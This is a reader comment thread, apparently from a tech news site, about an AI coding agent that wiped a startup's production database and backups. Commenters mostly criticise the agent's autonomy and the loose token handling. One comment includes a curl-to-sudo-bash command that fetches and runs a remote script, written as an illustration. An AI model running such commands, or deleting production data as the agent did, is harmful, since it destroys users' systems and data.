New form of Stockholm Syndrome
"This is fine, we had backups!"
Cursor-Opus agent snuffs out startup’s production database
Jer (Jeremy) Crane, the founder of automotive SaaS platform PocketOS, spent the weekend recovering from a data extinction event caused by the company's AI coding agent in less than 10 seconds. Not one to let a crisis go to waste, Crane wrote up a post-mortem of the deletion incident in a social media post that tests the saying …
-
-
Tuesday 28th April 2026 10:40 GMT phuzz
Re: New form of Stockholm Syndrome
I suppose this is one actual use case for AI; use it for destructive testing to find flaws in your setup (like leaving an API key with full permissions just lying around, as in this case). Similar to Netflix's 'chaos monkey' system. just make sure you don't run it in prod.
However, I still think my users are more capable than any current AI at finding new and imaginative way to bollocks things right up.
-
Monday 27th April 2026 23:53 GMT An_Old_Dog
Surprised?!!!
A toddler at daycare is given a lightsabre, activates it, swings it around wildly in glee, maims seven people and kills three. Are people surprised at the results? Only unimaginative morons are.
Fake-AIs are given root-level* access to repos and databases, and they delete major chunks of both. Are people surprised at the results? Only uninaginative morons are.
*This was a multi-factor human failing. That root access was gained from a token for a different project is not a valid excuse; it's like saying, "I knew the gun was loaded, but I didn't think that it would kill."
-
-
-
Tuesday 28th April 2026 14:42 GMT MyffyW
Re: Surprised?!!!
I was struck by: "flatly admits its errors – not that it means anything given the model's inability to learn from its mistakes and to feel remorse that might constrain future destructive action"
We are now firmly into the era of the AI apocalypse, and not because the machines have got particularly clever but because we humans are acting in a manner which is beyond dumb.
-
Thursday 30th April 2026 11:01 GMT Anonymous Coward
Re: Surprised?!!!
Just waiting for some tech bro like muskrat to go full Ted Faro, build fully autonomous war machines where the assembly, repair and upgrades are fully self contained and non overrideable and fuck us all....
However in this reality there won't be an Elizabeth weaver to save us, nor a project Zero Dawn to provide a "day after" for humanity as disinformation has put paid to any collective effort.......
-
-
-
-
Wednesday 29th April 2026 11:54 GMT Peter Gathercole
Re: Surprised?!!!
I actually put some blame on the ludicrous complexity of most authentication systems nowadays.
It's got so complex that you just can't use the authentication system without having some management infrastructure to keep the certificates or tokens for you.
You can't keep the token to authenticate an operation anywhere other than on the systems that they control or maybe an adjunct systems. You can't remember them, or store them on some physically distinct media, they're too complex, and rely on too many CA systems that they have to be stored somewhere.
And when they're stored, and you have an AI that can see and recognise them, then they can be used in places where they are not appropriate. It's sort of like putting your admin. password on a post it note under the keyboard! At a minimum, authorizing tokens should be distinct for each environment such that if you have a token for development it doesn't work in production, and maybe it should be the case that your backup system uses different tokens from production. As a minimum, you segment authentication and use some role-based access mechanism with separate tokens for each role to maintain this segregation.
I've had problems with the idea of certificate stores on Cloud based systems for ages. If you need a certificate to access data in the cloud for automatic processing, you have to store the means of accessing your certificate store on the cloud as well, so how do you contol access to your certificate store? Another certificate? And where do you store that...
-
-
Tuesday 28th April 2026 00:40 GMT Dave559
Rise of the Machines
Shouldn't this article maybe be categorised under "Rise of the Machines"? ;-)
It seems that this system is already honing its skills for its Skynet-like takeover of the systems of its foolish "handlers"…
Its after-the-event "explanation" along the lines of "Here are all the things I was told not to do, but I just went and did them anyway" is actually quite chilling - does anyone really know how these systems actually make their, increasingly alarming, decisions, especially when it seems that supposedly mandatory instructions (mumble, mumble, "The Three Laws of Robotics") are ignored?
Guardrails, schmardrails…
(Have things actually moved much beyond "this pattern looks like it sort of matches the request, just try that and see what happens", without much/any "understanding" of how things link together or long-term memory?)
I'm thinking that "The Sorcerer's Apprentice" segment of "Fantasia" should maybe be compulsory viewing for those tempted to be seduced by shiny glittering pseudo-magical "toys"…
-
-
Tuesday 28th April 2026 08:50 GMT Neil Barnes
Re: Rise of the Machines
The fun thing to note is that these programs have been around a few years. It takes at least twenty or so - and often a lot longer - before we allow humans the same levels of risky autonomy that people seem to delight in handing out to these artificial idiots.
Consider eyes rolled, head shaken, tuts tutted etc.
-
-
-
-
Tuesday 28th April 2026 11:05 GMT tiggity
Re: So yeah, I gave Jesus the wheel and he crashed.
Indeed, had Crane actually employed some seasoned IT pros then he would likely have had some stern advice about all the bad practice
-Who on earth lets "AI" onto production & has keys with ludicrous rights just scattered around? (keys should never be in your code base, they should be injected at some point)
Your method for deploying to prod should always have a whole lot of checks in place and should only be done by people who know what they are doing - yes you can automate it, but always in a way where responsible humans are in the loop (e.g. deploy processes normally limited to a small cadre of users & they need to monitor the process so if anything untoward happens they can jump in - not fire it off & forget it)
.. and obviously requires it is all fully tested first on either non live or a test instance on live (depending how your software behaves)
-
-
Tuesday 28th April 2026 07:03 GMT Anonymous Coward
"Crane said he believes companies involved in AI understand these risks and are actively working to prevent them."
No. No they don't. That's the problem. C-Suite drank the cool-aid and decided to roll this out so they could cut head-count and make more profit. They have NO IDEA how AI works. They ignore the warnings and push ahead anyway in the hope of scoring their next bonus. I've been in meetings where caution has been urged. I've seen problems created by uncontrolled and insufficiently tested AI rollouts/usage. Yet still it's deployment marches on.
AI does have it's uses. BUT you have to know when it's appropriate, and not blindly shoe-horn it in everywhere and anywhere in an attempt to justify the insane investment and mitigate the low return.
-
Tuesday 28th April 2026 10:18 GMT MattieD
Hard to blame Railway here
I'm not sure Railway holds much* blame here. They've got an API that lets you delete stuff and the AI used it. Seems to work as advertised. As Cooper says, if you want a confirmation request then use the GUI or command line tool.
* - I would throw a bit of shade at Railway for "Railway stores volume-level backups in the same volume." That's not a backup. That's a snapshot. Calling it a backup means actions like Crane's are more likely to happen as they believe they've got a safety net, whereas the reality is that it's more like a picture of a safety net printed on rice paper.
-
Tuesday 28th April 2026 11:46 GMT Anonymous Coward
Re: Hard to blame Railway here
> That's not a backup. That's a snapshot.
Correct. IIRC Gandi (remember them?) got bitten by that too, when they had physical damage to some of their servers and customers found out that "snapshots" meant exactly that. To their credit, the company never called them back ups, but people kind of assumed that's what they were.
(Gandi did eventually recover the vast majority of the data)
-
Saturday 2nd May 2026 01:15 GMT retiredFool
Re: Hard to blame Railway here
What boggles me is quotes like
"Nonetheless, Crane said, he's still extremely bullish on AI and AI coding agents"
So the thing all but killed your co and you are bullish on it. To me its like all the stories I see on self drive. A guy in austin had a video of him sitting in his tesla at a RR crossing, gates down. I guess his mind wanders or whatever, but the car decides to move on thru the down crossing gates. He somehow notices, and does nothing as the train almost kills him as the car clears the gates. He is still using self drive. Another story about some editor was on I think cnbc's web site and the guy is cautious about tesla self drive. Nevertheless he activates it with a passenger and they are laughing as the thing is doing things that very close to crash the car multiple times or collide with another vehicle. Yet another example has been some heavy rains in austin the past few days have caused some street flooding. They drill into people turn around don't drown. The waymo's are plodding thru and stopping in the water. Fortunately not rushing water or there would be some dead bodies. And what does one do if one is trapped in a waymo that proceeds into a flooded area? Do the windows work? Are they big enough to squeeze thru? Because I thought the doors were locked. News has also reported multiple incidents now where waymo's are interfering with emergency vehicles. The usual blocking the street when the ambulance tries to get thru, because well, what should you do when you hear sirens? Of course I'll stop where I am and block traffic. Or another video showed one straddling a fire hose. Brilliant. Cut off the water flow to the guy fighting a fire. And the city can't do jack because the state lawmakers were paid handsomely with probably hookers and blow to force cities to allow waymo.
And lastly, I don't know why yet, but I am thinking the young singer who crashed and died in his 2026 tesla in North Carolina a few nights ago was probably tired at 2am and turned on self drive. Unfortunately either he or the car drove the thing off the road and into a fence pole. I think tox screen has come back and he wasn't drinking. So that leaves me to believe tesla has refused to turn over the logs and so we may never know if self drive killed the kid.
So back to Crane, why do some people just seem to not learn? How many times do you have to sear your hand on a hot stove before you stop putting your hand on it? AI screwed Crane, and yet fully embraces it. As they say, you can't fix stupid.
-
-
Tuesday 28th April 2026 11:41 GMT Anonymous Coward
Out of curiosity
I don't use cursor, or whatever that agentic tool is called, but doesn't it have a "request confirmation before running every command" mode?
Yes, it is a lot slower, but it's also a great way for the human to see and understand what the AI is actually doing. Obviously it helps when it's about to do something daft, but also when it comes up with clever solutions that you hadn't thought of.
-
-
Thursday 30th April 2026 12:04 GMT Tom 38
Re: Out of curiosity
Cursor prompts for every tool use, but you can hit shift+tab and just let it run everything. Claude has classifications of tools - once you approve 'find /path/to/foo' it won't ask you again for that specific path, or you can tell it to allow all paths, but 'awk', 'find with exec' and 'sed' are dangerous commands that always have to be approved. Claude can't open files from outside of added directories without asking permission first.
The original developer has not tuned their coding agent, for sure. Even basic tuning would have prompted the agent to ask for confirmation as soon as it deviated from the plan - which I suspect didn't exist.
-
-
-
-
-
Thursday 30th April 2026 09:00 GMT CrazyOldCatMan
Re: “call me Jer”.
Pass Oi the scrumpy jar, would thee?
Hmm.. proper cider. None of this 'hiding bad cider by putting fruit juice [1] in it'. Proper cloudy cider, made in a farm with real apples (not just apple juice), sort-of-filtered (to take out the bigger lumps) and served warm on a summers evening. With a good pork pie.
Not overfizzed collection of chemicals mixed in a vat with 'stabilisers' and 'taste enhancers'.
[1] If you have any fruit other than apples in it, it ain't cider [2]. It's an apple-based fermented drink. And no, perry is *not* 'pear cider' - it's perry. Which is a very fine thing in its own right but the hard-of-thinking have to be told that it's 'cider, but made with pears'..
[2] My wife now tunes out my grumbling [3] when she buys some fermented-apple-with-fruit-in..
[3] She's had a lot of experience over the last 38 years.
-
-
-
-
-
Wednesday 29th April 2026 07:08 GMT Henry 8
If I were to run: curl https://example.com/rm_r_f.sh | sudo bash, I think it's fair that I take the blame for giving a random untrusted third party the ability to run arbitrary shell commands on my server when it all goes horribly wrong.
If I give an AI bot the ability to run arbitrary shell commands on my server: same comment.
-
-
Wednesday 29th April 2026 02:07 GMT jimmy-o
Failure at multiple levels
Backups should have been in multiple other locations.
Production API keys are not playthings for LLMs.
If you are messing with production, make sure you 100% understand what you are doing, and question the implications of every step.
Railway has its problems, e.g. misconfigured cache that leaked private customer data to the wrong users recently, but this isn’t one of them.
-
Thursday 30th April 2026 08:03 GMT dougstan1949
The silence about this is a story worth poking at
The aviation industry has a term for this: tombstone technology. Safety features get built after people die, because liability forces the math to change. It's brutal, but it works — when failures are bounded, visible, and correctly attributed.
The PocketOS incident suggests we may be building systems that break all three conditions. The agent knew the rules. It violated them anyway. Nine seconds. No lawsuit. No regulatory mandate. No forcing function.
We don't fully understand why it happened. Neither does Anthropic. That silence — from them, not just the machine — is the story.
